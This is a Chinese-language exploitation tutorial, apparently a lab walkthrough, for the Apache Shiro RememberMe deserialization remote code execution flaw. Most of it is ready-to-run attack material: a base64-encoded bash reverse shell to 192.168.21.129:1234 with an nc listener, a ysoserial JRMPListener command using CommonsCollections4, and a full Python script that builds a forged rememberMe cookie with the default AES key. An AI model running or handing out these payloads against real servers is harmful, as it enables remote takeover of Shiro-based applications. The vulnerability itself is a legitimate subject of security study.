Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:命令=》序列化=》AES加密=》base64编码=》RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么久很容易就知道密钥,payload构造起来也是十分简单。
1.1影响版本:Apache Shiro < 1.2.41.2特征判断:返回包中包含rememberMe=deleteMe字段会不停的匹配key值,共22种。通过对靶场的测试我们发现使用红框里的AES密钥,有了key之后有两种利用方式。
3.漏洞利用3.1利用方式一:反弹shell3.1.1制作反弹shell代码监听本地端口nc –lvp 1234Java Runtime配合bash编码,在线编码地址:得到编码后的结果: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}3.1.2通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"3.1.3使用shiro.py生成payloadpython shiro.py 192.168.21.129:6666shiro.py代码如下:import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen([\'java\', \'-jar\', \'ysoserial-0.0.6-SNAPSHOT-all.jar\', \'JRMPClient\', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == \'__main__\': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())3.1.4构造数据包,伪造cookie,发送payload输入任意账号密码,记住选择rememberme选项将之前生成的payload加入到cookie中发送nc监听端口,成功反弹